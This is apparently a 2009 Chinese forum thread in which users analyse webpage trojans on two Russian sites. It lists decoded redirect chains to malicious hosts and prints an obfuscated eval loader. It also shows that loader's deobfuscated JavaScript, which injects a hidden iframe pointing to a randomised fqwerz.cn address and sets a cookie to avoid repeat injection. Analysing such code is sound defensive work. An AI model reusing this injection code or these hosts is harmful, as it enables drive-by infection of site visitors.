nichyagroup.narod.ru ; mebel.by.ru [挂马]

qianwenxiang

关于:hxxp://www.nichyagroup.narod.ru/解密的日志(全体输出 -  2):
Level  0>http://www.nichyagroup.narod.ru/
Level  1>http://195.189.227.58/top100_00.js
日志由 Redoce1.9第68次修正版于 2009-6-12 13:50:05 生成。

关于:hxxp://www.mebel.by.ru/gmail.php解密的日志(全体输出 -  5):
Level  0>http://www.mebel.by.ru/gmail.php
Level  1>http://counnter.cn/top100_00.js
Level  1>http://mebel.by.ru.fqwerz.cn/q.cn
Level  2>http://forum.d99q.cn
Level  3>http://forum.d99q.cn//load.php?id=0
日志由 Redoce1.9第68次修正版于 2009-6-12 14:06:59 生成。

xiaoqiang305

请问那个mebel.by.ru.fqwerz.cn/q.cn怎么截出来的？
从这个里么 这系什么加密啊 ？ 谢了
%32%36%32%38%37%35%34%39%41%5b%16%19%17%2b%27%15%2f%4e%6e%23%2c%77%04%0a%0b%06%01%00%39%1f%61%3f%00%2d%2c%1d%21%28%00%3b%27%7e%75%30%08%25%10%32%6f后略

mouse_0232

  打不开

qianwenxiang

eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x61\x33\x70\x7a\x62\x74\x28\x6a\x43\x57\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x69\x4a\x28\x6d\x6c\x77\x78\x47\x29\x7b\x76\x61\x72\x20\x67\x67\x42\x66\x3d\x30\x3b\x76\x61\x72\x20\x78\x76\x52\x68\x3d\x6d\x6c\x77\x78\x47\x2e\x6c\x65\……);

==> (arguments.callee的, malzilla执行)

function ZPQMhxbA(){};ZPQMhxbA.prototype = {path:"f"+String.fromCharCode(113)+new String("w")+String.fromCharCode(101)+new String("r")+String.fromCharCode(122)+new String(".")+String.fromCharCode(99)+"n",cookieValue:1,alreadyInstalled : function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);},cookieName:'fcdhaebg',setCookie : function(name, value){var d= new Date(); d.setTime(new Date().getTime() + 86400000); document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString(); },host:'/q.cn/',getFrameURL : function(){var dlh=document.location.host; return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;},getRandString : function(){var l=16,c='0t1>2>3r4j5R6j7>8R9>arbtcrdjejf>'.replace(/[tjrR\>]/g, ''),o='';for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);return o;},install : function(){if(!this.alreadyInstalled()){var s="<XdXiLv% %sXt%y]l]eL={\'Xd]i{s]p%l]a{y]:]n%o{nLeX\'L>%<Li%fXr{a{mXeL {sLr%c]=%\'%".replace(/[L\]X%\{]/g, '')+this.getFrameURL()+"\'+>1<[/1i[f[r+a1m.e+>+<+/[d+i^v.>^".replace(/[\.\+\[\^1]/g, '');try {var o=document;o.open();o.write(s);o.close();}catch(e){document.write('<ChGt4mulC>u<4bCoJdJyC>4'.replace(/[uGJC4]/g, '')+s+'<8/Mb8ozd8yM>c<c/ch.tcmzl8>.'.replace(/[zc8\.M]/g, ''))}this.setCookie(this.cookieName, this.cookieValue);}}};var ocho=new ZPQMhxbA();ocho.install();

＝＝＝》
ZPQMhxbA.prototype = {path:"f"+String.fromCharCode(113)+new String("w")+String.fromCharCode(101)+new String("r")+String.fromCharCode(122)+new String(".")+String.fromCharCode(99)+"n"
（fqwerz.cn）

dlh=document.location.host;
（dlh=mebel.by.ru）

host:'/q.cn/',getFrameURL : function(){var dlh=document.location.host; return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;

（return： http://mebel.by.ru.abcdefg(随机字符).fqwerz.cn/q.cn/）

var s="<XdXiLv% %sXt%y]l]eL={\'Xd]i{s]p%l]a{y]:]n%o{nLeX\'L>%<Li%fXr{a{mXeL {sLr%c]=%\'%".replace(/[L\]X%\{]/g, '')+this.getFrameURL()+"\'+>1<[/1i[f[r+a1m.e+>+<+/[d+i^v.>^".replace(/[\.\+\[\^1]/g, '');

此处iframe写入以上网址，代码执行。

xiaoqiang305

高人，佩服 谢谢~